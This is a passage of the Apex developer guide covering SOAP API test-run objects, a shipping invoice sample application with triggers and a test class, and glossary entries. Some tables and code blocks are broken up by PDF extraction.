        + ccr.getNamespace() + ccr.getName() + ccr.getMethodName() + ccr.getMethodSignature() + ccr.getMessage() + ccr.getStackTrace());
    }
    if (ccr.getNumLocationsNotCovered() > 0) {
        for (CodeLocation cl : ccr.getLocationsNotCovered())
            System.out.println("\tLine " + cl.getLine());
    }
}
System.out.println("Finished in " +
(System.currentTimeMillis() - start) + "ms");

Arguments

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>request</td>
<td>RunTestsRequest</td>
<td>A request that includes the Apex unit tests and the values for any fields that need to be set for this request.</td>
</tr>
</tbody>
</table>
Response

RunTestsResult

RunTestsRequest

Specifies information about the Apex code to be tested. RunTestsRequest is part of CompileAndTestRequest, which is the request passed to the compileAndTest() call. You can specify the same or different classes to be tested and compiled. Since triggers cannot be tested directly, they are not included in this object. Instead, you must specify a class that calls the trigger.

If the request is sent to a production organization, this request is ignored and all unit tests defined for your organization are run.

The RunTestsRequest object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>allTests</td>
<td>boolean*</td>
<td>If allTests is true, all unit tests defined for your organization are run.</td>
</tr>
<tr>
<td>classes</td>
<td>string*[]</td>
<td>An array of one or more objects.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>If specified, the namespace that contains the unit tests to be run. Do not use this property if you specify allTests as true. Also, if you execute compileAndTest() in a production organization, this property is ignored, and all unit tests defined for the organization are run.</td>
</tr>
<tr>
<td>packages</td>
<td>string*[]</td>
<td>Do not use after version 10.0. For earlier, unsupported releases, the content of the package to be tested.</td>
</tr>
</tbody>
</table>

* Link goes to the SOAP API Developer’s Guide.

RunTestsResult

Contains information about the execution of unit tests, including whether unit tests were completed successfully, code coverage results, and failures.

A RunTestsResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>

**CodeCoverageResult**

The RunTestsResult object contains this object. It contains information about whether or not the compile of the specified Apex and run of the unit tests was successful.

A CodeCoverageResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>dmlInfo</td>
<td>CodeLocation[]</td>
<td>For each class or trigger tested, for each portion of code tested, this property contains the DML statement locations, the number of times the code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>id</td>
<td>ID</td>
<td>The ID of the CodeLocation. The ID is unique within an organization.</td>
</tr>
<tr>
<td>locationsNotCovered</td>
<td>CodeLocation[]</td>
<td>For each class or trigger tested, if any code is not covered, the line and column of the code not tested, and the number of times the code was executed.</td>
</tr>
<tr>
<td>methodInfo</td>
<td>CodeLocation[]</td>
<td>For each class or trigger tested, the method invocation locations, the number of times the code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>name</td>
<td>string</td>
<td>The name of the class or trigger covered.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>The namespace that contained the unit tests, if one is specified.</td>
</tr>
<tr>
<td>numLocations</td>
<td>int</td>
<td>The total number of code locations.</td>
</tr>
<tr>
<td>soqlInfo</td>
<td>CodeLocation[]</td>
<td>For each class or trigger tested, the location of SOQL statements in the code, the number of times this code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>soslInfo</td>
<td>CodeLocation[]</td>
<td>For each class tested, the location of SOSL statements in the code, the number of times this code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>type</td>
<td>string</td>
<td>Do not use. In early, unsupported releases, used to specify class or package.</td>
</tr>
</tbody>
</table>
CodeCoverageWarning

The RunTestsResult object contains this object. It contains information about the Apex class which generated warnings.

This object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>ID</td>
<td>The ID of the class which generated warnings.</td>
</tr>
<tr>
<td>message</td>
<td>string</td>
<td>The message of the warning generated.</td>
</tr>
<tr>
<td>name</td>
<td>string</td>
<td>The name of the class that generated a warning. If the warning applies to the overall code coverage, this value is null.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>The namespace that contains the class, if one was specified.</td>
</tr>
</tbody>
</table>

RunTestFailure

The RunTestsResult object returns information about failures during the unit test run.

This object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>ID</td>
<td>The ID of the class which generated failures.</td>
</tr>
<tr>
<td>message</td>
<td>string</td>
<td>The failure message.</td>
</tr>
<tr>
<td>methodName</td>
<td>string</td>
<td>The name of the method that failed.</td>
</tr>
<tr>
<td>name</td>
<td>string</td>
<td>The name of the class that failed.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>The namespace that contained the class, if one was specified.</td>
</tr>
<tr>
<td>seeAllData</td>
<td>boolean</td>
<td>Indicates whether the test method has access to organization data (true) or not (false).</td>
</tr>
<tr>
<td></td>
<td></td>
<td>This field is available in API version 33.0 and later.</td>
</tr>
<tr>
<td>stackTrace</td>
<td>string</td>
<td>The stack trace for the failure.</td>
</tr>
<tr>
<td>time</td>
<td>double</td>
<td>The time spent running tests for this failed operation. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>type</td>
<td>string</td>
<td>Do not use. In early, unsupported releases, used to specify class or package.</td>
</tr>
</tbody>
</table>

RunTestSuccess

The RunTestsResult object returns information about successes during the unit test run.
This object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>ID</td>
<td>The ID of the class which generated the success.</td>
</tr>
<tr>
<td>methodName</td>
<td>string</td>
<td>The name of the method that succeeded.</td>
</tr>
<tr>
<td>name</td>
<td>string</td>
<td>The name of the class that succeeded.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>The namespace that contained the class, if one was specified.</td>
</tr>
<tr>
<td>seeAllData</td>
<td>boolean</td>
<td>Indicates whether the test method has access to organization data (true) or not (false).</td>
</tr>
<tr>
<td></td>
<td></td>
<td>This field is available in API version 33.0 and later.</td>
</tr>
<tr>
<td>time</td>
<td>double</td>
<td>The time spent running tests for this operation. This can be helpful for performance monitoring.</td>
</tr>
</tbody>
</table>

**CodeLocation**

The RunTestsResult object contains this object in a number of fields.

This object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>column</td>
<td>int</td>
<td>The column location of the Apex tested.</td>
</tr>
<tr>
<td>line</td>
<td>int</td>
<td>The line location of the Apex tested.</td>
</tr>
<tr>
<td>numExecutions</td>
<td>int</td>
<td>The number of times the Apex was executed in the test run.</td>
</tr>
<tr>
<td>time</td>
<td>double</td>
<td>The total cumulative time spent at this location. This can be helpful for performance monitoring.</td>
</tr>
</tbody>
</table>

**DebuggingHeader**

Return the debug log in the output header, DebuggingInfo, and specify the level of detail in the debug log.

**API Calls**

- compileAndTest()
- executeanonymous()
- runTests()
### Fields

<table>
<thead>
<tr>
<th>Element Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
</table>
| debugLevel     | logtype       | Specifies the type of information returned in the debug log. The values are listed from the least amount of information returned to the most information returned. Valid values:  
   - NONE  
   - DEBUGONLY  
   - DB  
   - PROFILING  
   - CALLOUT  
   - DETAIL  |
| categories     | LogInfo[]     | Specifies the type and amount of information to be returned in the debug log. |

### LogInfo

Specifies the type and amount of information to be returned in the debug log. The `categories` field takes a list of these objects.

### Fields

<table>
<thead>
<tr>
<th>Element Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
</table>
| LogCategory            | string     | Specify the type of information returned in the debug log. Valid values are:  
   - Db  
   - Workflow  
   - Validation  
   - Callout  
   - Apex_code  
   - Apex_profiling  
   - All  |

| LogCategoryLevel       | string     | Specifies the level of detail returned in the debug log. Only the `Apex_code LogCategory` uses the log category levels.  
Valid log levels are (listed from lowest to highest):  
   - NONE  
   - ERROR  
   - WARN |
DescriptionTypeElement Name
• INFO
• DEBUG
• FINE
• FINER
• FINEST

PackageVersionHeader

Specifies the package version for each installed managed package.

A managed package can have several versions with different content and behavior. This header allows you to specify the version used for each package referenced by your API client.

If a package version is not specified, the API client uses the version of the package specified in Setup (enter API in the Quick Find box, then select API).

API Calls

compileAndTest(), compileClasses(), compileTriggers(), executeAnonymous()

Fields

<table>
<thead>
<tr>
<th>Element Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>packageVersions</td>
<td>PackageVersion[]</td>
<td>A list of package versions for installed managed packages referenced by your API client.</td>
</tr>
</tbody>
</table>

PackageVersion

Specifies a version of an installed managed package. A package version is majorNumber.minorNumber, for example 2.1.

Fields

<table>
<thead>
<tr>
<th>Field</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>majorNumber</td>
<td>int</td>
<td>The major version number of a package version.</td>
</tr>
<tr>
<td>minorNumber</td>
<td>int</td>
<td>The minor version number of a package version.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>The unique namespace of the managed package.</td>
</tr>
</tbody>
</table>
APPENDIX B  Shipping Invoice Example

This appendix provides an example of an Apex application. This is a more complex example than the Hello World example.

- Shipping Invoice Example Walk-Through on page 2425
- Shipping Invoice Example Code on page 2428

Shipping Invoice Example Walk-Through

The sample application in this section includes traditional Salesforce functionality blended with Apex. Many of the syntactic and semantic features of Apex, along with common idioms, are illustrated in this application.

Note: The Hello World and the shipping invoice samples require custom fields and objects. You can either create these on your own, or download the objects, fields and Apex code as a managed packaged from Force.com AppExchange. For more information, see https://developer.salesforce.com/docs.

Scenario

In this sample application, the user creates a new shipping invoice, or order, and then adds items to the invoice. The total amount for the order, including shipping cost, is automatically calculated and updated based on the items added or deleted from the invoice.

Data and Code Models

This sample application uses two new objects: Item and Shipping_invoice.

The following assumptions are made:

- Item A cannot be in both orders shipping_invoice1 and shipping_invoice2. Two customers cannot obtain the same (physical) product.
- The tax rate is 9.25%.
- The shipping rate is 75 cents per pound.
- Once an order is over $100, the shipping discount is applied (shipping becomes free).

The fields in the Item custom object include:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>String</td>
<td>The name of the item</td>
</tr>
<tr>
<td>Price</td>
<td>Currency</td>
<td>The price of the item</td>
</tr>
<tr>
<td>Quantity</td>
<td>Number</td>
<td>The number of items in the order</td>
</tr>
<tr>
<td>Weight</td>
<td>Number</td>
<td>The weight of the item, used to calculate shipping costs</td>
</tr>
</tbody>
</table>
The order this item is associated with

Shipping_invoice

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>String</td>
<td>The name of the shipping invoice/order</td>
</tr>
<tr>
<td>Subtotal</td>
<td>Currency</td>
<td>The subtotal</td>
</tr>
<tr>
<td>GrandTotal</td>
<td>Currency</td>
<td>The total amount, including tax and shipping</td>
</tr>
<tr>
<td>Shipping</td>
<td>Currency</td>
<td>The amount charged for shipping (assumes $0.75 per pound)</td>
</tr>
<tr>
<td>ShippingDiscount</td>
<td>Currency</td>
<td>Only applied once when subtotal amount reaches $100</td>
</tr>
<tr>
<td>Tax</td>
<td>Currency</td>
<td>The amount of tax (assumes 9.25%)</td>
</tr>
<tr>
<td>TotalWeight</td>
<td>Number</td>
<td>The total weight of all items</td>
</tr>
</tbody>
</table>

All of the Apex for this application is contained in triggers. This application has the following triggers:

<table>
<thead>
<tr>
<th>Object</th>
<th>Trigger Name</th>
<th>When Runs</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Item</td>
<td>Calculate</td>
<td>after insert, after update, after delete</td>
<td>Updates the shipping invoice, calculates the totals and shipping</td>
</tr>
<tr>
<td>Shipping_invoice</td>
<td>ShippingDiscount</td>
<td>after update</td>
<td>Updates the shipping invoice, calculating if there is a shipping discount</td>
</tr>
</tbody>
</table>

The following is the general flow of user actions and when triggers run:
Flow of user action and triggers for the shopping cart application

1. User clicks **Orders > New**, names the shipping invoice and clicks **Save**.
2. User clicks **New Item**, fills out information, and clicks **Save**.
3. Calculate trigger runs. Part of the Calculate trigger updates the shipping invoice.
4. ShippingDiscount trigger runs.
5. User can then add, delete or change items in the invoice.

In **Shipping Invoice Example Code** both of the triggers and the test class are listed. The comments in the code explain the functionality.

**Testing the Shipping Invoice Application**

Before an application can be included as part of a package, 75% of the code must be covered by unit tests. Therefore, one piece of the shipping invoice application is a class used for testing the triggers.

The test class verifies the following actions are completed successfully:

- Inserting items
- Updating items
- Deleting items
- Applying shipping discount
- Negative test for bad input
The following triggers and test class make up the shipping invoice example application:

- Calculate trigger
- ShippingDiscount trigger
- Test class

### Calculate Trigger

```java
trigger calculate on Item__c (after insert, after update, after delete) {
    // Use a map because it doesn't allow duplicate values
    Map<ID, Shipping_Invoice__C> updateMap = new Map<ID, Shipping_Invoice__C>();

    // Set this integer to -1 if we are deleting
    Integer subtract;

    // Populate the list of items based on trigger type
    List<Item__c> itemList;
    if(trigger.isInsert || trigger.isUpdate){
        itemList = Trigger.new;
        subtract = 1;
    } else if(trigger.isDelete)
    {
        // Note -- there is no trigger.new in delete
        itemList = trigger.old;
        subtract = -1;
    }

    // Access all the information we need in a single query
    // rather than querying when we need it.
    // This is a best practice for bulkifying requests
    set<Id> AllItems = new set<Id>();

    for(item__c i :itemList){
        // Assert numbers are not negative.
        // None of the fields would make sense with a negative value
        System.assert(i.quantity__c > 0, 'Quantity must be positive');
        System.assert(i.weight__c >= 0, 'Weight must be non-negative');
        System.assert(i.price__c >= 0, 'Price must be non-negative');

        // If there is a duplicate Id, it won't get added to a set
        AllItems.add(i.Shipping_Invoice__C);
    }

    // Accessing all shipping invoices associated with the items in the trigger
    List<Shipping_Invoice__C> AllShippingInvoices = [SELECT Id, ShippingDiscount__c,
```
```java
SubTotal__c, TotalWeight__c, Tax__c, GrandTotal__c
FROM Shipping_Invoice__C WHERE Id IN :AllItems];

// Take the list we just populated and put it into a Map.
// This will make it easier to look up a shipping invoice
// because you must iterate a list, but you can use lookup for a map,
Map<ID, Shipping_Invoice__C> SIMap = new Map<ID, Shipping_Invoice__C>();

for(Shipping_Invoice__C sc : AllShippingInvoices)
{
    SIMap.put(sc.id, sc);
}

// Process the list of items
if(Trigger.isUpdate)
{
    // Treat updates like a removal of the old item and addition of the
    // revised item rather than figuring out the differences of each field
    // and acting accordingly.
    // Note updates have both trigger.new and trigger.old
    for(Integer x = 0; x < Trigger.old.size(); x++)
    {
        Shipping_Invoice__C myOrder;
        myOrder = SIMap.get(trigger.old[x].Shipping_Invoice__C);

        // Decrement the previous value from the subtotal and weight.
        myOrder.SubTotal__c -= (trigger.old[x].price__c *
                                trigger.old[x].quantity__c);
        myOrder.TotalWeight__c -= (trigger.old[x].weight__c *
                                   trigger.old[x].quantity__c);

        // Increment the new subtotal and weight.
        myOrder.SubTotal__c += (trigger.new[x].price__c *
                                trigger.new[x].quantity__c);
        myOrder.TotalWeight__c += (trigger.new[x].weight__c *
                                   trigger.new[x].quantity__c);
    }

    for(Shipping_Invoice__C myOrder : AllShippingInvoices)
    {
        // Set tax rate to 9.25% Please note, this is a simple example.
        // Generally, you would never hard code values.
        // Leveraging Custom Settings for tax rates is a best practice.
        // See Custom Settings in the Apex Developer's guide
        // for more information.
        myOrder.Tax__c = myOrder.Subtotal__c * .0925;

        // Reset the shipping discount
        myOrder.ShippingDiscount__c = 0;

        // Set shipping rate to 75 cents per pound.
        // Generally, you would never hard code values.
        // Leveraging Custom Settings for the shipping rate is a best practice.
    }
}
```
// See Custom Settings in the Apex Developer's guide
// for more information.
myOrder.Shipping__c = (myOrder.totalWeight__c * .75);
myOrder.GrandTotal__c = myOrder.SubTotal__c + myOrder.tax__c +
    myOrder.Shipping__c;
updateMap.put(myOrder.id, myOrder);
}
else
{
    for(Item__c itemToProcess : itemList)
    {
        Shipping_Invoice__C myOrder;
        // Look up the correct shipping invoice from the ones we got earlier
        myOrder = SIMap.get(itemToProcess.Shipping_Invoice__C);
        myOrder.SubTotal__c += (itemToProcess.price__c *
            itemToProcess.quantity__c * subtract);
        myOrder.TotalWeight__c += (itemToProcess.weight__c *
            itemToProcess.quantity__c * subtract);
    }

    for(Shipping_Invoice__C myOrder : AllShippingInvoices)
    {
        // Set tax rate to 9.25% Please note, this is a simple example.
        // Generally, you would never hard code values.
        // Leveraging Custom Settings for tax rates is a best practice.
        // See Custom Settings in the Apex Developer's guide
        // for more information.
        myOrder.Tax__c = myOrder.Subtotal__c * .0925;

        // Reset shipping discount
        myOrder.ShippingDiscount__c = 0;

        // Set shipping rate to 75 cents per pound.
        // Generally, you would never hard code values.
        // Leveraging Custom Settings for the shipping rate is a best practice.
        // See Custom Settings in the Apex Developer's guide
        // for more information.
        myOrder.Shipping__c = (myOrder.totalWeight__c * .75);
        myOrder.GrandTotal__c = myOrder.SubTotal__c + myOrder.tax__c +
            myOrder.Shipping__c;

        updateMap.put(myOrder.id, myOrder);
    }
}

// Only use one DML update at the end.
// This minimizes the number of DML requests generated from this trigger.
update updateMap.values();
Shipping Discount Trigger

```java
trigger ShippingDiscount on Shipping_Invoice__C (before update) {
    // Free shipping on all orders greater than $100
    for(Shipping_Invoice__C myShippingInvoice : Trigger.new) {
        if((myShippingInvoice.subtotal__c >= 100.00) &&
            (myShippingInvoice.ShippingDiscount__c == 0)) {
            myShippingInvoice.ShippingDiscount__c =
                myShippingInvoice.Shipping__c * -1;
            myShippingInvoice.GrandTotal__c +=
                myShippingInvoice.ShippingDiscount__c;
        }
    }
}
```

Shipping Invoice Test

```java
@IsTest
private class TestShippingInvoice {

    // Test for inserting three items at once
    public static testmethod void testBulkItemInsert() {
        // Create the shipping invoice. It's a best practice to either use defaults
        // or to explicitly set all values to zero so as to avoid having
        // extraneous data in your test.
        Shipping_Invoice__C order1 = new Shipping_Invoice__C(
            subtotal__c = 0,
            totalweight__c = 0,
            grandtotal__c = 0,
            ShippingDiscount__c = 0,
            Shipping__c = 0,
            tax__c = 0);
        // Insert the order and populate with items
        insert order1;
        List<Item__c> list1 = new List<Item__c>();
        Item__c item1 = new Item__C(
            Price__c = 10,
            weight__c = 1,
            quantity__c = 1,
            Shipping_Invoice__C = order1.id);
        Item__c item2 = new Item__C(
            Price__c = 25,
            weight__c = 2,
            quantity__c = 1,
            Shipping_Invoice__C = order1.id);
        Item__c item3 = new Item__C(
            Price__c = 40,
            weight__c = 3,
            quantity__c = 1,
            Shipping_Invoice__C = order1.id);
        list1.add(item1);
        list1.add(item2);
        list1.add(item3);
        insert list1;
        // Retrieve the order, then do assertions
        order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
            grandtotal__c, shippingdiscount__c
            FROM Shipping_Invoice__C
            WHERE id = :order1.id];
        System.assert(order1.subtotal__c == 75,
            'Order subtotal was not $75, but was ' + order1.subtotal__c);
    }
}
```
System.assert(order1.tax__c == 6.9375,
'Order tax was not $6.9375 but was ' + order1.tax__c);
System.assert(order1.shipping__c == 4.50,
'Order shipping was not $4.50 but was ' + order1.shipping__c);
System.assert(order1.totalweight__c == 6.00,
'Order weight was not 6 but was ' + order1.totalweight__c);

</table>
The following are special types of keywords that aren't reserved words and can be used as identifiers.

- after
- before
- count
- excludes
- first
- includes
- last
- order
- sharing
- with
APPENDIX D  Action Links Labels

Use these labels for action link buttons.

An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the feed so that users can take action to drive productivity and accelerate innovation.

Specify the key in the `labelKey` property of the Action Link Definition Input request body. When the action link is rendered, the UI uses labels for the “New,” “Pending,” “Success,” and “Failed” states as needed.

**Tip:** If none of the predefined labels work for your action link, use a custom label. To use a custom label, create an action link template and define the label in the template. See Action Link Templates.

## Appendix E  Documentation Typographical Conventions

Apex and Visualforce documentation uses the following typographical conventions.

<table>
<thead>
<tr>
<th>Convention</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Courier font</strong></td>
<td>In descriptions of syntax, monospace font indicates items that you should type as shown, except for brackets. For example:</td>
</tr>
<tr>
<td></td>
<td><code>Public class HelloWorld</code></td>
</tr>
<tr>
<td><strong>Italics</strong></td>
<td>In descriptions of syntax, italics represent variables. You supply the actual value. In the following example, three values need to be supplied: <code>datatype variable_name [ = value];</code></td>
</tr>
<tr>
<td></td>
<td>If the syntax is bold and italic, the text represents a code element that needs a value supplied by you, such as a class name or variable value:</td>
</tr>
<tr>
<td></td>
<td><code>public static class YourClassHere { ... }</code></td>
</tr>
<tr>
<td><strong>Bold Courier font</strong></td>
<td>In code samples and syntax descriptions, bold courier font emphasizes a portion of the code or syntax.</td>
</tr>
<tr>
<td><strong>&lt;&gt;</strong></td>
<td>In descriptions of syntax, less-than and greater-than symbols (&lt; &gt;) are typed exactly as shown.</td>
</tr>
<tr>
<td></td>
<td><code>&lt;apex:pageBlockTable value=&quot;{!account.Contacts}&quot; var=&quot;contact&quot;&gt;</code></td>
</tr>
<tr>
<td></td>
<td><code>&lt;apex:column value=&quot;{!contact.Name}&quot;/&gt;</code></td>
</tr>
<tr>
<td></td>
<td><code>&lt;apex:column value=&quot;{!contact.MailingCity}&quot;/&gt;</code></td>
</tr>
<tr>
<td></td>
<td><code>&lt;apex:column value=&quot;{!contact.Phone}&quot;/&gt;</code></td>
</tr>
<tr>
<td></td>
<td>&lt;/apex:pageBlockTable&gt;`</td>
</tr>
<tr>
<td><strong>{}</strong></td>
<td>In descriptions of syntax, braces ({{}}) are typed exactly as shown.</td>
</tr>
<tr>
<td></td>
<td><code>&lt;apex:page&gt;</code></td>
</tr>
<tr>
<td></td>
<td><code>Hello {!$User.FirstName}!</code></td>
</tr>
<tr>
<td></td>
<td>&lt;/apex:page&gt;`</td>
</tr>
<tr>
<td><strong>[]</strong></td>
<td>In descriptions of syntax, anything included in brackets is optional. In the following example, specifying <code>value</code> is optional:</td>
</tr>
<tr>
<td></td>
<td><code>datatype variable_name [ = value];</code></td>
</tr>
</tbody>
</table>
In descriptions of syntax, the pipe sign means “or”. You can do one of the following (not all). In the following example, you can create a new unpopulated set in one of two ways, or you can populate the set:

```javascript
Set<data_type> set_name
  [= new Set<data_type>();] |
  [= new Set<data_type[value [, value2 . . . ] ];] |
```

<table>
<thead>
<tr>

<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>In descriptions of syntax, the pipe sign means “or”. You can do one of the following (not all). In the following example, you can create a new unpopulated set in one of two ways, or you can populate the set:</td>
</tr>
</tbody>
</table>
Administrator (System Administrator)
One or more individuals in your organization who can configure and customize the application. Users assigned to the System Administrator profile have administrator privileges.

AJAX Toolkit
A JavaScript wrapper around the API that allows you to execute any API call and access any object you have permission to view from within JavaScript code. For more information, see the AJAX Toolkit Developer's Guide.

Anti-Join
An anti-join is a subquery on another object in a NOT IN clause in a SOQL query. You can use anti-joins to create advanced queries. See also Semi-Join.

Anonymous Block, Apex
Apex code that does not get stored in Salesforce, but that can be compiled and executed through the use of the ExecuteAnonymousResult() API call, or the equivalent in the AJAX Toolkit.

Apex
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.

Apex Connector Framework
The Apex Connector Framework is a set of classes and methods in the DataSource namespace for creating your own custom Lightning Connect adapter. Create a custom adapter to connect to data that’s stored outside your Salesforce organization when the other available Lightning Connect adapters aren’t suitable for your needs.

Apex-Managed Sharing
Enables developers to programmatically manipulate sharing to support their application’s behavior. Apex-managed sharing is only available for custom objects.

Apex Page
See Visualforce Page.

App
Short for “application.” A collection of components such as tabs, reports, dashboards, and Visualforce pages that address a specific business need. Salesforce provides standard apps such as Sales and Call Center. You can customize the standard apps to match the way you work. In addition, you can package an app and upload it to the AppExchange along with related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available to other Salesforce users from the AppExchange.

AppExchange
The AppExchange is a sharing interface from Salesforce that allows you to browse and share apps and services for the Force.com platform.
**Application Programming Interface (API)**

The interface that a computer system, library, or application provides to allow other computer programs to request services from it and exchange data.

**Approval Process**

An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that meet certain administrator-defined criteria. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval.

**Asynchronous Calls**

A call that does not return results immediately because the operation may take a long time. Calls in the Metadata API and Bulk API are asynchronous.

---

**Batch Apex**

The ability to perform long, complex operations on many records at a scheduled time using Apex.

**Beta, Managed Package**

In the context of managed packages, a beta managed package is an early version of a managed package distributed to a sampling of your intended audience to test it.

**Bulk API**

The REST-based Bulk API is optimized for processing large sets of data. It allows you to query, insert, update, upsert, or delete a large number of records asynchronously by submitting a number of batches which are processed in the background by Salesforce. See also SOAP API.

---

**Callout, Apex**

An Apex callout enables you to tightly integrate your Apex with an external service by making a call to an external Web service or sending a HTTP request from Apex code and then receiving the response.

**Child Relationship**

A relationship that has been defined on an sObject that references another sObject as the “one” side of a one-to-many relationship. For example, contacts, opportunities, and tasks have child relationships with accounts.

See also sObject.

**Class, Apex**

A template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined methods, variables, exception types, and static initialization code. In most cases, Apex classes are modeled on their counterparts in Java.

**Client App**

An app that runs outside the Salesforce user interface and uses only the Force.com API or Bulk API. It typically runs on a desktop or mobile device. These apps treat the platform as a data source, using the development model of whatever tool and platform for which they are designed.

**Code Coverage**

A way to identify which lines of code are exercised by a set of unit tests, and which are not. This helps you identify sections of code that are completely untested and therefore at greatest risk of containing a bug or introducing a regression in the future.
**Component, Metadata**
A component is an instance of a metadata type in the Metadata API. For example, CustomObject is a metadata type for custom objects, and the `MyCustomObject__c` component is an instance of a custom object. A component is described in an XML file and it can be deployed or retrieved using the Metadata API, or tools built on top of it, such as the Force.com IDE or the Force.com Migration Tool.

**Component, Visualforce**
Something that can be added to a Visualforce page with a set of tags, for example, `<apex:detail>`. Visualforce includes a number of standard components, or you can create your own custom components.

**Component Reference, Visualforce**
A description of the standard and custom Visualforce components that are available in your organization. You can access the component library from the development footer of any Visualforce page or the Visualforce Developer's Guide.

**Composite App**
An app that combines native platform functionality with one or more external Web services, such as Yahoo! Maps. Composite apps allow for more flexibility and integration with other services, but may require running and managing external code. See also Client App and Native App.

**Controller, Visualforce**
An Apex class that provides a Visualforce page with the data and business logic it needs to run. Visualforce pages can use the standard controllers that come by default with every standard or custom object, or they can use custom controllers.

**Controller Extension**
A controller extension is an Apex class that extends the functionality of a standard or custom controller.

**Cookie**
Client-specific data used by some Web applications to store user and session-specific information. Salesforce issues a session "cookie" only to record encrypted authentication information for the duration of a specific session.

**Custom App**
See App.

**Custom Controller**
A custom controller is an Apex class that implements all of the logic for a page without leveraging a standard controller. Use custom controllers when you want your Visualforce page to run entirely in system mode, which does not enforce the permissions and field-level security of the current user.

**Custom Field**
A field that can be added in addition to the standard fields to customize Salesforce for your organization’s needs.

**Custom Links**
Custom links are URLs defined by administrators to integrate your Salesforce data with external websites and back-office systems. Formerly known as Web links.

**Custom Object**
Custom records that allow you to store information unique to your organization.

**Custom Settings**
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation rules, flows, Apex, and the SOAP API.

See also Hierarchy Custom Settings and List Custom Settings.
Database
An organized collection of information. The underlying architecture of the Force.com platform includes a database where your data is stored.

Database Table
A list of information, presented with rows and columns, about the person, thing, or concept you want to track. See also Object.

Data Loader
A Force.com platform tool used to import and export data from your Salesforce organization.

Data Manipulation Language (DML)
An Apex method or operation that inserts, updates, or deletes records.

Data State
The structure of data in an object at a particular point in time.

Date Literal
A keyword in a SOQL or SOSL query that represents a relative range of time such as last month or next year.

Decimal Places
Parameter for number, currency, and percent custom fields that indicates the total number of digits you can enter to the right of a decimal point, for example, 4.98 for an entry of 2. Note that the system rounds the decimal numbers you enter, if necessary. For example, if you enter 4.986 in a field with Decimal Places of 2, the number rounds to 4.99. Salesforce uses the round half-up rounding algorithm. Half-way values are always rounded up. For example, 1.45 is rounded to 1.5. –1.45 is rounded to –1.5.

Dependency
A relationship where one object’s existence depends on that of another. There are a number of different kinds of dependencies including mandatory fields, dependent objects (parent-child), file inclusion (referenced images, for example), and ordering dependencies (when one object must be deployed before another object).

Dependent Field
Any custom picklist or multi-select picklist field that displays available values based on the value selected in its corresponding controlling field.

Deploy
To move functionality from an inactive state to active. For example, when developing new features in the Salesforce user interface, you must select the “Deployed” option to make the functionality visible to other users.

The process by which an application or other functionality is moved from development to production.

To move metadata components from a local file system to a Salesforce organization.

For installed apps, deployment makes any custom objects in the app available to users in your organization. Before a custom object is deployed, it is only available to administrators and any users with the “Customize Application” permission.

Deprecated Component
A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may involve redesigning some of the components in the managed package. Developers cannot delete some components in a Managed - Released package, but they can deprecate a component in a later package version so that new subscribers do not receive the component, while the component continues to function for existing subscribers and API integrations.

Detail
